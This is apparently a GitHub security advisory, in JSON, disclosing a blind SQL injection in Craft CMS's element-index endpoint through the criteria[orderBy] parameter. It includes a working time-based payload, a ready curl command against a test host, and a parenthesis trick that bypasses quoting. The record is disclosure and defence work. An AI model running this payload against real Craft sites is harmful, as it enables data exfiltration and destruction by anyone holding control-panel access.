{"id":"GHSA-2453-mppf-46cj","summary":"Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`","details":"## Summary\n\nThe `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.\nAn attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).\n\n\u003e [!NOTE]\n\u003e The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.\n\n---\n## PoC\n### Required Permissions\n\n- Access to the Control Panel\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)\n3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`\n4. Modify the JSON body to the following:\n```json\n{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(5)) --\"},\"viewState\":{\"static\":false}}\n```\n5. Send the request\n6. Observe a delay in the response (delay = rows × sleep time)\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):\n```bash\ncurl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: \u003cCSRF-TOKEN\u003e' -H $'Content-Length: 208' -b $'\u003cCookie\u003e' --data-binary $'{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\User\\\",\\\"source\\\":\\\"*\\\",\\\"baseCriteria\\\":{\\\"siteId\\\":1},\\\"criteria\\\":{\\\"limit\\\":100,\\\"orderBy\\\": \\\"(elements.id) DESC, (SELECT SLEEP(0.2)) --\\\"},\\\"viewState\\\":{\\\"static\\\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'\n```\n\n### Impact\n\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character.\n- **Modify or destroy data** (drop tables, update records, alter schema).\n\n### Root Cause\nThe `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting 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